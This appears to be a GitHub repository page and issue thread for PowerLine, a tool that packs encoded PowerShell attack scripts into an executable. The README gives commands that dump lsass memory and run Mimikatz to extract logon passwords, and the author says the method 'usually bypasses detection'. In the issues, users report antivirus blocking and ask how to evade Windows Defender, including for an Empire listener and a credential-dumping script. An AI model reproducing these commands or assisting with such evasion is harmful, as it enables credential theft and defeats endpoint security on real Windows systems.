fullmetalcache / powerline

PowerLine

Download the Repo

Run the build.bat file

Update the UserConf.xml document to contain the URLs of the scripts that you'd like to include (examples shown)

Run the PLBuilder.exe file

The PowerLine.exe program should now be created and contains embedded, xor-encoded, base64-encoded versions of all of the scripts that you specified

Example Usage:

//Shows scripts that are currently embedded in the program

PowerLine.exe -ShowScripts

//Run Invoke-AllChecks from the PowerUp script

PowerLine.exe PowerUp "Invoke-AllChecks"

//Get a dump of the lsass process. Must run as an admin

PowerLine.exe Out-Minidump "Get-Process lsass | Out-Minidump"

//Run mimikatz against the dump file created by the Out-Minidump command to extract creds. lsass_dump_name.dmp will be the name generated by Out-Minidump

//Yes, it's hellacious escaping but it works and usually bypasses detection =)

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"sekurlsa::minidump lsass_dump_name.dmp`\" `\"sekurlsa::logonPasswords`\"\""

powerline's Issues

Build.bat error if CurrentPath contain a Space

just add quote in build.bat

ERROR when do Invoke-mimikatz command

!!!!! Build Errors Occured, Please Check the MSBuild Output !!!!!

environment: Win7 6.1.7601 Service Pack 1 Build 7601

When I run PLBuilder.exe
this error occur

maybe something related to my encoding ?

Networ errors related to SSL /TLS

Hello,

I'm trying to run PLBuilder.exe but I'm getting SSL errors

" system.net.webexception the request was aborted could not create ssl/tls "

I get this error in Windows 10 64 bits....

Any idea on how this can be solved ?

PowerLine and defender in Win 10

Hi,

I tested several scripts, the results are as follows:

1 ) mimikatz - access denied. If I turn off WD - its not worked but with diffrent errors, so - its another story, but defender some catches it anyway.

2 ) empire http listener and https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1

here very strange situation: its not blocked directly (no notifications from WD and so on) but its not worked. Those - if I turn off WD - its fine, all goes well.
But then its running - no way: empire and WCMDump just "dies" without any messages:

C:\DISTR\POWERLINE\PowerLine-master\PowerLine-master\PowerLine>PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"

Command Invoked: Invoke-WCMDump

C:\DISTR\POWERLINE\PowerLine-master\PowerLine-master\PowerLine>

So, something has changed in WD and its rules - maybe you have some clues how solve it?
Especially interested in the option with Empire

PowerLineTemplate Crashes

When running the following command on Windows 10 x64, PowerLineTemplate crashes and "stops working":

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \""sekurlsa::minidump lsass_dump_name.dmp\" "sekurlsa::logonPasswords\"\""

PowerLine not working anymore in Win 10

Tried to run PowerLIne in a Win 10 machine and AV caught it:
PS C:\WINDOWS\system32> cd C:\PowerLine-master\PowerLine-master\PowerLine
PS C:\PowerLine-master\PowerLine-master\PowerLine> PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command "\"sekurlsa::logonPasswords"""
At line:1 char:1

• PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command "`"sekurlsa ...

This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent